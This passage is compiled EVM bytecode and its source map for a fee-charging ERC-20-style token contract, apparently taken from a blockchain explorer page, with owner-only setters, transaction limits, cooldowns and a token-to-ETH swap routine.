60200191508051906020019080838360005b83811015611e2d578181015183820152602001611e15565b50505050905090810190601f168015611e5a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b602854600090600160a01b900460ff1615611e9757611e90848484612742565b9050610dd6565b6001600160a01b03841660009081526001602052604090205460ff16158015611ed957506001600160a01b03831660009081526001602052604090205460ff16155b15611f2c57601e5460ff16611f2c576040805162461bcd60e51b815260206004820152601460248201527329bbb0b81027b1b1bab930b731b29022b93937b960611b604482015290519081900360640190fd5b6001600160a01b03841660009081526001602052604090205460ff16158015611f6e57506001600160a01b0383166000908152600d602052604090205460ff16155b8015611f8357506001600160a01b0383163014155b8015611f9d57506002546001600160a01b03848116911614155b8015611fb757506014546001600160a01b03848116911614155b8015611fd157506024546001600160a01b03848116911614155b15611fef5760065482611fe385611130565b011115611fef57600080fd5b6014546001600160a01b0385811691161480159061200f5750601a5460ff165b801561203457506001600160a01b0384166000908152600c602052604090205460ff16155b15612086576001600160a01b0384166000908152601b6020526040902054421161205d57600080fd5b601a546001600160a01b0385166000908152601b6020526040902061010090910460ff16420190555b612091848484612811565b6014546001600160a01b03858116911614156120cc57601c546001600160a01b0384166000908152601d6020526040902060ff909116420190555b6120d5826128a2565b80156120fa57506001600160a01b0384166000908152600e602052604090205460ff16155b801561211d57506001600160a01b0384166000908152601d602052604090205442115b1561212b5761212b826123c2565b60408051808201825260018152602b60f81b6020808301919091526001600160a01b03871660009081526008909152919091205461216a918490611dd9565b6001600160a01b03808616600081815260086020526040812093909355601454612198921614158686612908565b6121a257826121ac565b6121ac8584612956565b6001600160a01b0385166000908152600860205260409020549091506121d290826122ff565b6001600160a01b038086166000818152600860209081526040918290209490945580518581529051919392891692600080516020612b5983398151915292918290030190a3506001949350505050565b6000610dd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dd9565b60008261227357506000610c6b565b8282028284828161228057fe5b0414610dd65760405162461bcd60e51b8152600401808060200182810382526021815260200180612b386021913960400191505060405180910390fd5b6000610dd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a84565b600082820183811015610dd6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03166000908152600a602090815260408083208054600160ff199182168117909255600b84528285208054821683179055600c84528285208054821683179055600d84528285208054821683179055600e909352922080549091169091179055565b6028805460ff60a01b1916600160a01b1790556016546017546000916123fa91600291610ea59182906123f488612ae9565b90612264565b9050600061240b82610e1b85612ae9565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061243d57fe5b6001600160a01b03928316602091820292909201810191909152602354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561249157600080fd5b505afa1580156124a5573d6000803e3d6000fd5b505050506040513d60208110156124bb57600080fd5b50518151829060019081106124cc57fe5b6001600160a01b0392831660209182029290920181019190915260235460405163791ac94760e01b8152600481018681526000602483018190523060648401819052426084850181905260a060448601908152895160a487015289514799979097169763791ac947978c9795968c9690939260c49091019187820191028083838b5b8381101561256657818101518382015260200161254e565b505050509050019650505050505050600060405180830381600087803b15801561258f57600080fd5b505af11580156125a3573d6000803e3d6000fd5b5050505060006125bc824761222290919063ffffffff16565b905060006125e26125d960026017546122bd90919063ffffffff16565b60165490612222565b905060006126046002610ea584610ea56017548861226490919063ffffffff16565b9050600061262183610ea56015548761226490919063ffffffff16565b6027546018546040519293506000926001600160a01b0390921691849084818181858888f193505050503d8060008114612677576040519150601f19603f3d011682016040523d82523d6000602084013e61267c565b606091505b5060009250508915905061272957602354602480546040805163f305d71960e01b81523060048201529283018d905260006044840181905260648401526001600160a01b0391821660848401524260a48401525192169163f305d71991869160c480830192606092919082900301818588803b1580156126fb57600080fd5b505af115801561270f573d6000803e3d6000fd5b50505050506040513d606081101561272657600080fd5b50505b50506028805460ff60a01b191690555050505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600890915291822054612793918490611dd9565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546127c290836122ff565b6001600160a01b038085166000818152600860209081526040918290209490945580518681529051919392881692600080516020612b5983398151915292918290030190a35060019392505050565b6005548111158061283a57506001600160a01b0383166000908152600b602052604090205460ff165b8061285d57506001600160a01b0382166000908152600e602052604090205460ff165b610ed3576040805162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015290519081900360640190fd5b6014546000906001600160a01b031633148015906128ca5750602854600160a01b900460ff16155b80156128d8575060215460ff165b80156128e657506007548210155b8015610c6b575050602254306000908152600860205260409020541015919050565b6000831561293357506001600160a01b0382166000908152600a602052604090205460ff1615610dd6565b506001600160a01b03166000908152600a602052604090205460ff161592915050565b600080612972601354610ea561296b8761131c565b8690612264565b905060006129906129828661131c565b601154610ea5908590612264565b9050600061299e8383612222565b306000908152600860205260409020549091506129bb90826122ff565b30600081815260086020908152604091829020939093558051848152905191926001600160a01b038a1692600080516020612b598339815191529281900390910190a36002546001600160a01b0316600090815260086020526040902054612a2390836122ff565b600280546001600160a01b039081166000908152600860209081526040918290209490945591548251868152925190821693918a1692600080516020612b5983398151915292908290030190a3612a7a8584612222565b9695505050505050565b60008183612ad35760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611e2d578181015183820152602001611e15565b506000838581612adf57fe5b0495945050505050565b600080612b07601654610ea56019548661226490919063ffffffff16565b90506022548111612b19579050610e38565b602254811115612b2d575050602254610e38565b505060225491905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208e9fa2cf1da83d34ce406e6c829ce88940864be5e39a260cb5052592f7d84c1b64736f6c63430007040033
Deployed Bytecode Sourcemap
6600:15495:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10536:80;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10965:224;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;10965:224:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;21832:92;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21832:92:0;;:::i;:::-;;10260:88;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;14732:83;;;;;;;;;;;;;:::i;11505:362::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;11505:362:0;;;;;;;;;;;;;;;;;:::i;21936:146::-;;;;;;;;;;;;;:::i;4217:107::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;4217:107:0;-1:-1:-1;;;;;4217:107:0;;:::i;16638:181::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16638:181:0;;:::i;10356:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11201:120;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11201:120:0;-1:-1:-1;;;;;11201:120:0;;:::i;12150:128::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12150:128:0;;:::i;21428:134::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21428:134:0;;:::i;21714:106::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21714:106:0;;:::i;17962:302::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17962:302:0;;;;;;;;-1:-1:-1;;;;;17962:302:0;;:::i;18813:328::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;18813:328:0;;;;;;;;;;;;;;;;;:::i;10707:105::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10707:105:0;-1:-1:-1;;;;;10707:105:0;;:::i;4653:148::-;;;;;;;;;;;;;:::i;16500:126::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;16500:126:0;;;;;;;;;;:::i;18276:134::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;18276:134:0;;;;;;;;;;:::i;19801:152::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19801:152:0;;;;;;;:::i;7075:64::-;;;;;;;;;;;;;:::i;7006:60::-;;;;;;;;;;;;;:::i;14964:230::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;14964:230:0;-1:-1:-1;;;;;14964:230:0;;:::i;17190:122::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17190:122:0;;;;;;;;;;:::i;18422:99::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;18422:99:0;-1:-1:-1;;;;;18422:99:0;;:::i;15206:134::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15206:134:0;-1:-1:-1;;;;;15206:134:0;;:::i;16831:347::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;16831:347:0;;;;;;;;;;;;;;;;;;;;;;;;:::i;7738:19::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;7738:19:0;;;;;;;;;;;;;;11333:160;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;11333:160:0;;;;;;;;:::i;17324:483::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17324:483:0;;;;;;;:::i;10624:75::-;;;;;;;;;;;;;:::i;14827:125::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;14827:125:0;-1:-1:-1;;;;;14827:125:0;;:::i;3992:99::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;3992:99:0;-1:-1:-1;;;;;3992:99:0;;:::i;12011:123::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12011:123:0;;:::i;11880:119::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11880:119:0;-1:-1:-1;;;;;11880:119:0;;:::i;17819:131::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17819:131:0;;;;;;;;;;:::i;21234:182::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21234:182:0;;;;;;;;;:::i;10820:133::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;10820:133:0;;;;;;;;;;:::i;19315:126::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19315:126:0;;;;;;;;-1:-1:-1;;;;;19315:126:0;;:::i;14573:147::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;14573:147:0;;;;;;;;;;;:::i;4103:102::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;4103:102:0;-1:-1:-1;;;;;4103:102:0;;:::i;4459:182::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;4459:182:0;-1:-1:-1;;;;;4459:182:0;;:::i;15353:241::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;15353:241:0;;;;;;;;;;;;;;;;;;;;;;:::i;21574:128::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21574:128:0;;:::i;19153:150::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19153:150:0;;;;;;;:::i;4336:111::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;4336:111:0;-1:-1:-1;;;;;4336:111:0;;:::i;10536:80::-;10608:5;;;;;;;;;;;;-1:-1:-1;;;10608:5:0;;;;10536:80;:::o;10965:224::-;11071:10;11040:4;11059:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;11059:32:0;;;;;;;;;;;:41;;;11118:37;;;;;;;11040:4;;11059:32;;11071:10;;11118:37;;;;;;;;-1:-1:-1;11175:4:0;10965:224;;;;;:::o;21832:92::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;21901:6:::1;:13:::0;21832:92::o;10260:88::-;10333:12;;10260:88;:::o;14732:83::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;14789:9:::1;:16:::0;;-1:-1:-1;;14789:16:0::1;14801:4;14789:16;::::0;;14732:83::o;11505:362::-;-1:-1:-1;;;;;11627:19:0;;11605:4;11627:19;;;:11;:19;;;;;;;;11647:10;11627:31;;;;;;;;-1:-1:-1;;11627:46:0;11624:174;;11726:69;;;;;;;;;;;-1:-1:-1;;;11726:69:0;;;;;;;;-1:-1:-1;;;;;11726:19:0;;-1:-1:-1;11726:19:0;;;:11;:19;;;;;11746:10;11726:31;;;;;;;;;;:69;;11762:6;;11726:35;:69::i;:::-;-1:-1:-1;;;;;11692:19:0;;;;;;:11;:19;;;;;;;;11712:10;11692:31;;;;;;;:103;11624:174;11817:40;11831:6;11839:9;11850:6;11817:13;:40::i;:::-;11810:47;;11505:362;;;;;;:::o;21936:146::-;22066:4;;21989:7;;22018:54;;22056:15;;-1:-1:-1;;;;;22066:4:0;22056:9;:15::i;:::-;22045:4;;22018:33;;22035:15;;-1:-1:-1;;;;;22045:4:0;22035:9;:15::i;:::-;22018:12;;;:16;:33::i;:::-;:37;;:54::i;:::-;22011:61;;21936:146;:::o;4217:107::-;4272:4;4309:5;-1:-1:-1;;;;;4298:16:0;;;4309:5;;4298:16;4217:107;;;;:::o;16638:181::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;16763:8:::1;::::0;16721:21:::1;::::0;-1:-1:-1;;;;;16763:8:0::1;16755:54;16782:26;16804:3;16782:17;16721:21:::0;16796:2;16782:13:::1;:17::i;:::-;:21:::0;::::1;:26::i;:::-;16755:54;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;3969:1;16638:181:::0;:::o;10356:80::-;6935:1;10356:80;:::o;11201:120::-;11256:4;11282:29;11290:7;-1:-1:-1;;11282:7:0;:29::i;12150:128::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;12263:5:::1;12254;12239:12;;:20;12238:30;;;;;;12220:15;:48:::0;-1:-1:-1;12150:128:0:o;21428:134::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;21546:6:::1;21536:7;21521:12;;:22;:31;;;;;;21508:10;:44:::0;-1:-1:-1;21428:134:0:o;21714:106::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;21787:15:::1;:23:::0;21714:106::o;17962:302::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;18046:19:0::1;;::::0;;;:11:::1;:19;::::0;;;;;;;:28;;;::::1;;-1:-1:-1::0;;18046:28:0;;::::1;::::0;::::1;::::0;;;18087:15:::1;:23:::0;;;;;:32;;;::::1;::::0;::::1;::::0;;18132:16:::1;:24:::0;;;;;:33;;;::::1;::::0;::::1;::::0;;18178:17:::1;:25:::0;;;;;:34;;;::::1;::::0;::::1;::::0;;18225:12:::1;:20:::0;;;;;;:29;;;;::::1;;::::0;;17962:302::o;18813:328::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;18923:9:::1;:17:::0;;;18953:9:::1;:17:::0;;;18983:4:::1;:12:::0;;;19019:27:::1;18990:5:::0;19019:16:::1;18935:5:::0;18965;19019:9:::1;:16::i;:::-;:20:::0;::::1;:27::i;:::-;19008:8;:38:::0;19059:14:::1;:22:::0;;;19129:1:::1;19076:5:::0;19114:16:::1;19103:8;;:27;19094:37;;;::::0;::::1;;18813:328:::0;;;;:::o;10707:105::-;-1:-1:-1;;;;;10791:18:0;10773:7;10791:18;;;:9;:18;;;;;;;10707:105::o;4653:148::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;4738:1:::1;4721:20:::0;;-1:-1:-1;;;;;;4721:20:0::1;::::0;;4759:32:::1;::::0;;;;;;::::1;::::0;;;;::::1;::::0;;::::1;4653:148::o:0;16500:126::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;16583:24:0;;;::::1;;::::0;;;:16:::1;:24;::::0;;;;:33;;-1:-1:-1;;16583:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16500:126::o;18276:134::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;18366:25:0;;;::::1;;::::0;;;:17:::1;:25;::::0;;;;:34;;-1:-1:-1;;18366:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18276:134::o;19801:152::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;19886:11:::1;:20:::0;;;;19919:15:::1;:24:::0;19801:152::o;7075:64::-;;;;:::o;7006:60::-;;;;:::o;14964:230::-;15057:4;;15022:7;;-1:-1:-1;;;;;15047:14:0;;;15057:4;;15047:14;15044:51;;15071:14;;:21;;15090:1;15071:18;:21::i;:::-;15064:28;;;;15044:51;15120:4;;-1:-1:-1;;;;;15110:14:0;;;15120:4;;15110:14;15107:50;;;15134:13;;:20;;15152:1;15134:17;:20::i;15107:50::-;-1:-1:-1;;15176:8:0;;;14964:230::o;17190:122::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;17274:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:28;;-1:-1:-1;;17274:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17190:122::o;18422:99::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;18494:10:::1;:17:::0;;-1:-1:-1;;;;;;18494:17:0::1;-1:-1:-1::0;;;;;18494:17:0;;;::::1;::::0;;;::::1;::::0;;18422:99::o;15206:134::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;15283:7:::1;:15:::0;;-1:-1:-1;;;;;;15283:15:0::1;-1:-1:-1::0;;;;;15283:15:0;::::1;;::::0;;15311:19:::1;15283:15:::0;15311:12:::1;:19::i;:::-;15206:134:::0;:::o;16831:347::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;16941:11:::1;:18:::0;;-1:-1:-1;;;;;;16941:18:0::1;-1:-1:-1::0;;;;;16941:18:0;::::1;;::::0;;16972::::1;16941::::0;16972:12:::1;:18::i;:::-;17003:8;:15:::0;;-1:-1:-1;;;;;;17003:15:0::1;-1:-1:-1::0;;;;;17003:15:0;::::1;;::::0;;17031:18:::1;17003:15:::0;17031:12:::1;:18::i;:::-;17062:7;:15:::0;;-1:-1:-1;;;;;;17062:15:0::1;-1:-1:-1::0;;;;;17062:15:0;::::1;;::::0;;17090:19:::1;17062:15:::0;17090:12:::1;:19::i;:::-;17122:8;:15:::0;;-1:-1:-1;;;;;;17122:15:0::1;-1:-1:-1::0;;;;;17122:15:0;::::1;;::::0;;17150:18:::1;17122:15:::0;17150:12:::1;:18::i;7738:19::-:0;;;-1:-1:-1;;;;;7738:19:0;;:::o;11333:160::-;11413:4;11439:44;11453:10;11465:9;11476:6;11439:13;:44::i;17324:483::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;17418:21:::1;17402:13;17469:23;17488:3:::0;17469:14:::1;17418:21:::0;17479:3;17469:9:::1;:14::i;:23::-;17452:40:::0;-1:-1:-1;17505:14:0::1;17522:20;17540:1;17522:13;17452:40:::0;17533:1:::1;17522:10;:13::i;:20::-;17505:37:::0;-1:-1:-1;17555:14:0::1;17572:20;17590:1;17572:13;:6:::0;17583:1:::1;17572:10;:13::i;:20::-;17634:11;::::0;17672:6:::1;::::0;17626:57:::1;::::0;17555:37;;-1:-1:-1;17606:15:0::1;::::0;-1:-1:-1;;;;;17634:11:0;;::::1;::::0;17659:6;;17606:15;17626:57;17606:15;17626:57;17659:6;17634:11;17672:6;17626:57:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;17720:8:0::1;::::0;17755:6:::1;::::0;17712:54:::1;::::0;17605:78;;-1:-1:-1;;;;;;17720:8:0;;::::1;::::0;17742:6;;17720:8:::1;17712:54:::0;17720:8;17712:54;17742:6;17720:8;17755:6;17712:54:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;;;;;;17324:483:0:o;10624:75::-;10673:7;10691:5;-1:-1:-1;;;;;10691:5:0;10624:75;:::o;14827:125::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;14896:8:::1;:15:::0;;-1:-1:-1;;;;;;14896:15:0::1;-1:-1:-1::0;;;;;14896:15:0;::::1;;::::0;;14924:18:::1;14896:15:::0;14924:12:::1;:18::i;3992:99::-:0;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;4055:19:0::1;;::::0;;;4077:4:::1;4055:19;::::0;;;;;;;:26;;-1:-1:-1;;4055:26:0::1;::::0;;::::1;::::0;;3992:99::o;12011:123::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;12119:5:::1;12109:6;12094:12;;:21;12093:31;;;;;;12078:12;:46:::0;-1:-1:-1;12011:123:0:o;11880:119::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;11952:6:::1;:37:::0;;-1:-1:-1;;;;;;11952:37:0::1;-1:-1:-1::0;;;;;11952:37:0;;;::::1;::::0;;;::::1;::::0;;11880:119::o;17819:131::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;17908:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;17908:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17819:131::o;21234:182::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;21324:11:::1;:22:::0;;-1:-1:-1;;21324:22:0::1;::::0;::::1;;;::::0;;21375:12:::1;::::0;21400:6:::1;::::0;21375:22;::::1;:31;21359:13;:47:::0;-1:-1:-1;;21234:182:0:o;10820:133::-;-1:-1:-1;;;;;10922:19:0;;;10904:7;10922:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10820:133::o;19315:126::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;19402:20:0::1;;::::0;;;:12:::1;:20;::::0;;;;:29;;-1:-1:-1;;19402:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;19315:126::o;14573:147::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;14658:9:::1;:19:::0;;-1:-1:-1;;14658:19:0::1;::::0;::::1;;::::0;;;::::1;-1:-1:-1::0;;14690:20:0::1;14658:19;;14690:20:::0;;;::::1;::::0;;;::::1;;::::0;;14573:147::o;4103:102::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;4168:19:0::1;4190:5;4168:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;4168:27:0::1;::::0;;4103:102::o;4459:182::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;4538:5:::1;:11:::0;;-1:-1:-1;;;;;;4538:11:0::1;-1:-1:-1::0;;;;;4538:11:0;::::1;::::0;;::::1;::::0;;4562:19;;;-1:-1:-1;4562:19:0::1;::::0;;;;;;;;:26;;-1:-1:-1;;4562:26:0::1;::::0;;::::1;::::0;;;4606:25;;;;;;;::::1;::::0;;;;;;;;;::::1;4459:182:::0;:::o;15353:241::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;15465:12:::1;15486:5;-1:-1:-1::0;;;;;15480:22:0::1;;15511:4;15480:37;;;;;;;;;;;;;-1:-1:-1::0;;;;;15480:37:0::1;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;15480:37:0;;-1:-1:-1;;;;;;15530:21:0;::::1;;15552:4:::0;15558:25:::1;15577:5:::0;15558:14:::1;15480:37:::0;15567:4;15558:8:::1;:14::i;:25::-;15530:54;;;;;;;;;;;;;-1:-1:-1::0;;;;;15530:54:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;;;;;;;15353:241:0:o;21574:128::-;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;21644::::1;21686:5;21676:7;21661:12;;:22;:30;;;;;;21644:16;:48::i;19153:150::-:0;3927:24;3940:10;3927:12;:24::i;:::-;3919:48;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;-1:-1:-1;;;3919:48:0;;;;;;;;;;;;;;;19239:13:::1;:20:::0;19272:14:::1;:21:::0;19153:150::o;4336:111::-;-1:-1:-1;;;;;4418:19:0;4392:4;4418:19;;;:14;:19;;;;;;;;;4336:111::o;5378:202::-;5464:7;5502:12;5494:6;;;;5486:29;;;;-1:-1:-1;;;5486:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;5540:5:0;;;5378:202::o;12290:1462::-;12403:6;;12382:4;;-1:-1:-1;;;12403:6:0;;;;12400:63;;;12419:41;12434:6;12442:9;12453:6;12419:14;:41::i;:::-;12412:48;;;;12400:63;-1:-1:-1;;;;;12479:22:0;;;;